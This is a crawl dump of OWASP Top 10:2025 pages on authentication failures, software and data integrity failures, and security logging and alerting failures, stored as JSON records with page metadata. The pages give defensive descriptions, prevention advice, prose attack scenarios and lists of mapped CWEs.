Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 12083, "slov": 1421, "odkazu": 84, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:38", "sha256": "e6f94407ad2cc7cdc327952789de56da47425248f223f05bf8214708aa393920", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/", "titulek": "A07 Authentication Failures - OWASP Top 10:2025", "h1": "A07:2025 Authentication Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 Authentication Failures"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A07:2025 Authentication Failures\n\n## Background.\n\nAuthentication Failures maintains its position at #7 with a slight name change to more accurately reflect the 36 CWEs in this category. Despite benefits from standardized frameworks, this category has kept its #7 rank from 2021. Notable CWEs included are *CWE-259 Use of Hard-coded Password*, *CWE-297: Improper Validation of Certificate with Host Mismatch*, *CWE-287: Improper Authentication*, *CWE-384: Session Fixation*, and *CWE-798 Use of Hard-coded Credentials*.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15.80% | 2.92% | 100.00% | 37.14% | 7.69 | 4.44 | 1,120,673 | 7,147 |\n\n## Description.\n\nWhen an attacker is able to trick a system into recognizing an invalid or incorrect user as legitimate, this vulnerability is present. There may be authentication weaknesses if the application:\n\n- Permits automated attacks such as credential stuffing, where the attacker has a breached list of valid usernames and passwords. More recently this type of attack has been expanded to include hybrid password attacks credential stuffing (also known as password spray attacks), where the attacker uses variations or increments of spilled credentials to gain access, for instance trying Password1!, Password2!, Password3! and so on.\n- Permits brute force or other automated, scripted attacks that are not quickly blocked.\n- Permits default, weak, or well-known passwords, such as \"Password1\" or \"admin\" username with an \"admin\" password.\n- Allows users to create new accounts with already known-breached credentials.\n- Allows use of weak or ineffective credential recovery and forgot-password processes, such as \"knowledge-based answers,\" which cannot be made safe.\n- Uses plain text, encrypted, or weakly hashed passwords data stores (see[A04:2025-Cryptographic Failures](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)).\n- Has missing or ineffective multi-factor authentication.\n- Allows use of weak or ineffective fallbacks if multi-factor authentication is not available.\n- Exposes session identifier in the URL, a hidden field, or another insecure location that is accessible to the client.\n- Reuses the same session identifier after successful login.\n- Does not correctly invalidate user sessions or authentication tokens (mainly single sign-on (SSO) tokens) during logout or a period of inactivity.\n- Does not correctly assert the scope and intended audience of the provided credentials.\n\n## How to prevent.\n\n- Where possible, implement and enforce use of multi-factor authentication to prevent automated credential stuffing, brute force, and stolen credential reuse attacks.\n- Where possible, encourage and enable the use of password managers, to help users make better choices.\n- Do not ship or deploy with any default credentials, particularly for admin users.\n- Implement weak password checks, such as testing new or changed passwords against the top 10,000 worst passwords list.\n- During new account creation and password changes validate against lists of known breached credentials (eg: using [haveibeenpwned.com](https://haveibeenpwned.com)).\n- Align password length, complexity, and rotation policies with [National Institute of Standards and Technology (NIST) 800-63b's guidelines in section 5.1.1](https://pages.nist.gov/800-63-3/sp800-63b.html#:~:text=5.1.1%20Memorized%20Secrets) for Memorized Secrets or other modern, evidence-based password policies.\n- Do not force human beings to rotate passwords unless you suspect breach. If you suspect breach, force password resets immediately.\n- Ensure registration, credential recovery, and API pathways are hardened against account enumeration attacks by using the same messages for all outcomes (“Invalid username or password.”).\n- Limit or increasingly delay failed login attempts but be careful not to create a denial of service scenario. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected or suspected.\n- Use a server-side, secure, built-in session manager that generates a new random session ID with high entropy after login. Session identifiers should not be in the URL, be securely stored in a secure cookie, and invalidated after logout, idle, and absolute timeouts.\n- Ideally, use a premade, well-trusted system to handle authentication, identity, and session management. Transfer this risk whenever possible by buying and utilizing a hardened and well tested system.\n- Verify the intended use of provided credentials, e.g. for JWTs validate `aud`, `iss` claims and scopes\n\n## Example attack scenarios.\n\n**Scenario #1:** Credential stuffing, the use of lists of known username and password combinations, is now a very common attack. More recently attackers have been found to ‘increment’ or otherwise adjust passwords, based on common human behavior. For instance, changing ‘Winter2025’ to ‘Winter2026’, or ‘ILoveMyDog6’ to ‘ILoveMyDog7’ or ‘ILoveMyDog5’. This adjusting of password attempts is called a hybrid credential stuffing attack or a password spray attack, and they can be even more effective than the traditional version. If an application does not implement defences against automated threats (brute force, scripts, or bots) or credential stuffing, the application can be used as a password oracle to determine if the credentials are valid and gain unauthorized access.\n\n**Scenario #2:** Most successful authentication attacks occur due to the continued use of passwords as the sole authentication factor. Once considered best practices, password rotation and complexity requirements encourage users to both reuse passwords and use weak passwords. Organizations are recommended to stop these practices per NIST 800-63 and to enforce use of multi-factor authentication on all important systems.\n\n**Scenario #3:** Application session timeouts aren't implemented correctly. A user uses a public computer to access an application and instead of selecting \"logout,\" the user simply closes the browser tab and walks away. Another Example for this is, if a Single Sign on (SSO) session can not be closed by a Single Logout (SLO). That is, a single login logs you into, for example, your mail reader, your document system, and your chat system. But logging out happens only to the current system. If an attacker uses the same browser after the victim thinks they have successfully logged out, but with the user still authenticated to some of the applications, then can access the victim's account. The same issue can happen in offices and enterprises when a sensitive application has not been properly exited and a colleague has (temporary) access to the unlocked computer.\n\n## References.\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n\n## List of Mapped CWEs\n\n- [CWE-258 Empty Password in Configuration File](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-289 Authentication Bypass by Alternate Name](https://cwe.mitre.org/data/definitions/289.html)\n- [CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-291 Reliance on IP Address for Authentication](https://cwe.mitre.org/data/definitions/291.html)\n- [CWE-293 Using Referer Field for Authentication](https://cwe.mitre.org/data/definitions/293.html)\n- [CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n- [CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-298 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/298.html)\n- [CWE-299 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/299.html)\n- [CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n- [CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n- [CWE-303 Incorrect Implementation of Authentication Algorithm](https://cwe.mitre.org/data/definitions/303.html)\n- [CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-305 Authentication Bypass by Primary Weakness](https://cwe.mitre.org/data/definitions/305.html)\n- [CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 Use of Single-factor Authentication](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-309 Use of Password System for Primary Authentication](https://cwe.mitre.org/data/definitions/309.html)\n- [CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action](https://cwe.mitre.org/data/definitions/350.html)\n- [CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n- [CWE-941 Incorrectly Specified Destination in a Communication Channel](https://cwe.mitre.org/data/definitions/941.html)\n- [CWE-1390 Weak Authentication](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 Use of Weak Credentials](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 Use of Default Password](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 10616, "slov": 1264, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:39", "sha256": "e5e4c51698ed4c966e5a767fd09db489edc11544cb24da09c76265a9015f8092", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 Software or Data Integrity Failures - OWASP Top 10:2025", "h1": "A08:2025 Software or Data Integrity Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 Software or Data Integrity Failures"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A08:2025 Software or Data Integrity Failures\n\n## Background.\n\nSoftware or Data Integrity Failures continues at #8, with a slight, clarifying name change from \"Software *and* Data Integrity Failures\". This category is focused on the failure to maintain trust boundaries and verify the integrity of software, code, and data artifacts at a lower level than Software Supply Chain Failures. This category focuses on making assumptions related to software updates and critical data, without verifying integrity. Notable Common Weakness Enumerations (CWEs) include *CWE-829: Inclusion of Functionality from Untrusted Control Sphere*, *CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes*, and *CWE-502: Deserialization of Untrusted Data*.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8.98% | 2.75% | 78.52% | 45.49% | 7.11 | 4.79 | 501,327 | 3,331 |\n\n## Description.\n\nSoftware and data integrity failures relate to code and infrastructure that does not protect against invalid or untrusted code or data being treated as trusted and valid. An example of this is where an application relies upon plugins, libraries, or modules from untrusted sources, repositories, and content delivery networks (CDNs). An insecure CI/CD pipeline without consuming and providing software integrity checks can introduce the potential for unauthorized access, insecure or malicious code, or system compromise. Another example of this is a CI/CD that pulls code or artifacts from untrusted places and/or doesn’t verify them before use (by checking the signature or similar mechanism). Lastly, many applications now include auto-update functionality, where updates are downloaded without sufficient integrity verification and applied to the previously trusted application. Attackers could potentially upload their own updates to be distributed and run on all installations. Another example is where objects or data are encoded or serialized into a structure that an attacker can see and modify is vulnerable to insecure deserialization.\n\n## How to prevent.\n\n- Use digital signatures or similar mechanisms to verify the software or data is from the expected source and has not been altered.\n- Ensure libraries and dependencies, such as npm or Maven, are only consuming trusted repositories. If you have a higher risk profile, consider hosting an internal known-good repository that's vetted.\n- Ensure that there is a review process for code and configuration changes to minimize the chance that malicious code or configuration could be introduced into your software pipeline.\n- Ensure that your CI/CD pipeline has proper segregation, configuration, and access control to ensure the integrity of the code flowing through the build and deploy processes.\n- Ensure that unsigned or unencrypted serialized data is not received from untrusted clients and subsequently used without some form of integrity check or digital signature to detect tampering or replay of the serialized data.\n\n## Example attack scenarios.\n\n**Scenario #1 Inclusion of Web Functionality from an Untrusted Source:** A company uses an external service provider to provide support functionality. For convenience, it has a DNS mapping for `myCompany.SupportProvider.com` to `support.myCompany.com`. This means that all cookies, including authentication cookies, set on the `myCompany.com` domain will now be sent to the support provider. Anyone with access to the support provider’s infrastructure can steal the cookies of all of your users that have visited `support.myCompany.com` and perform a session hijacking attack.\n\n**Scenario #2 Update without signing:** Many home routers, set-top boxes, device firmware, and others do not verify updates via signed firmware. Unsigned firmware is a growing target for attackers and is expected to only get worse. This is a major concern as many times there is no mechanism to remediate other than to fix in a future version and wait for previous versions to age out.\n\n**Scenario #3 Use of Package from an Untrusted Source:** A developer has trouble finding the updated version of a package they are looking for, so they download it not from the regular, trusted package manager, but from a website online. The package is not signed, and thus there is no opportunity to ensure integrity. The package includes malicious code.\n\n**Scenario #4 Insecure Deserialization:** A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing the user state and passing it back and forth with each request. An attacker notices the \"rO0\" Java object signature (in base64) and uses the [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) to gain remote code execution on the application server.\n\n## References.\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n- [Insecure Deserialization by Tenendo](https://tenendo.com/insecure-deserialization/)\n\n## List of Mapped CWEs\n\n- [CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 Uncontrolled Search Path Element](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 Embedded Malicious Code](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 Replicating Malicious Code (Virus or Worm)](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n- [CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 Improper Export of Android Application Components](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 7402, "slov": 911, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:40", "sha256": "9abba2b1837974083ce9f9dba9c8f99a1eaeb1edf1a6b1f7012117cb5dab4858", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/federicodotta/Java-Deserialization-Scanner", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet", "https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf", "https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack", "https://about.codecov.io/security-update", "https://www.manning.com/books/securing-devops", "https://tenendo.com/insecure-deserialization/", "https://cwe.mitre.org/data/definitions/345.html", "https://cwe.mitre.org/data/definitions/353.html", "https://cwe.mitre.org/data/definitions/426.html", "https://cwe.mitre.org/data/definitions/427.html", "https://cwe.mitre.org/data/definitions/494.html", "https://cwe.mitre.org/data/definitions/502.html", "https://cwe.mitre.org/data/definitions/506.html", "https://cwe.mitre.org/data/definitions/509.html", "https://cwe.mitre.org/data/definitions/565.html", "https://cwe.mitre.org/data/definitions/784.html", "https://cwe.mitre.org/data/definitions/829.html", "https://cwe.mitre.org/data/definitions/830.html", "https://cwe.mitre.org/data/definitions/915.html", "https://cwe.mitre.org/data/definitions/926.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A09_2025-Security_Logging_and_Alerting_Failures/", "titulek": "A09 Security Logging and Alerting Failures - OWASP Top 10:2025", "h1": "A09:2025 Security Logging & Alerting Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A09_2025-Security_Logging_and_Alerting_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A09:2025 Security Logging & Alerting Failures"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A09:2025 Security Logging & Alerting Failures\n\n## Background.\n\nSecurity Logging & Alerting Failures retains its position at #9. This category has a slight name change to emphasize the alerting function needed to induce action on relevant logging events. This category will always be underrepresented in the data, and for the third time voted into a position in the list from the community survey participants. This category is incredibly difficult to test for, and has minimal representation in the CVE/CVSS data (only 723 CVEs); but can be very impactful for visibility and incident alerting and forensics. This category includes issues with *properly handling output encoding to log files (CWE-117), inserting sensitive data into log files (CWE-532), and insufficient logging (CWE-778).*\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 5 | 11.33% | 3.91% | 85.96% | 46.48% | 7.19 | 2.65 | 260,288 | 723 |\n\n## Description.\n\nWithout logging and monitoring, attacks and breaches cannot be detected, and without alerting it is very difficult to respond quickly and effectively during a security incident. Insufficient logging, continuous monitoring, detection, and alerting to initiate active responses occurs any time:\n\n- Auditable events, such as logins, failed logins, and high-value transactions, are not logged or logged inconsistently (for instance, only logging successful logins, but not failed attempts).\n- Warnings and errors generate no, inadequate, or unclear log messages.\n- The integrity of logs is not properly protected from tampering.\n- Logs of applications and APIs are not monitored for suspicious activity.\n- Logs are only stored locally, and not properly backedup.\n- Appropriate alerting thresholds and response escalation processes are not in place or effective. Alerts are not received or reviewed within a reasonable amount of time.\n- Penetration testing and scans by dynamic application security testing (DAST) tools (such as Burp or ZAP) do not trigger alerts.\n- The application cannot detect, escalate, or alert for active attacks in real-time or near real-time.\n- You are vulnerable to sensitive information leakage by making logging and alerting events visible to a user or an attacker (see [A01:2025-Broken Access Control](../A01_2025-Broken_Access_Control/) ), or by logging sensitive information that should not be logged (such as PII or PHI).\n- You are vulnerable to injections or attacks on the logging or monitoring systems if log data is not correctly encoded.\n- The application is missing or mishandling errors and other exceptional conditions, such that the system is unaware there was an error, and is therefore unable to log there was a problem.\n- Adequate ‘use cases’ for issuing alerts are missing or outdated to recognize a special situation.\n- Too many false positive alerts make it impossible to distinguish important alerts from unimportant ones, resulting in them being recognized too late or not at all (physical overload of the SOC team).\n- Detected alerts cannot be processed correctly because the playbook for the use case is incomplete, out of date, or missing.\n\n## How to prevent.\n\nDevelopers should implement some or all the following controls, depending on the risk of the application:\n\n- Ensure all login, access control, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts and held for enough time to allow delayed forensic analysis.\n- Ensure that every part of your app that contains a security control is logged, whether it succeeds or fails.\n- Ensure that logs are generated in a format that log management solutions can easily consume.\n- Ensure log data is encoded correctly to prevent injections or attacks on the logging or monitoring systems.\n- Ensure all transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or 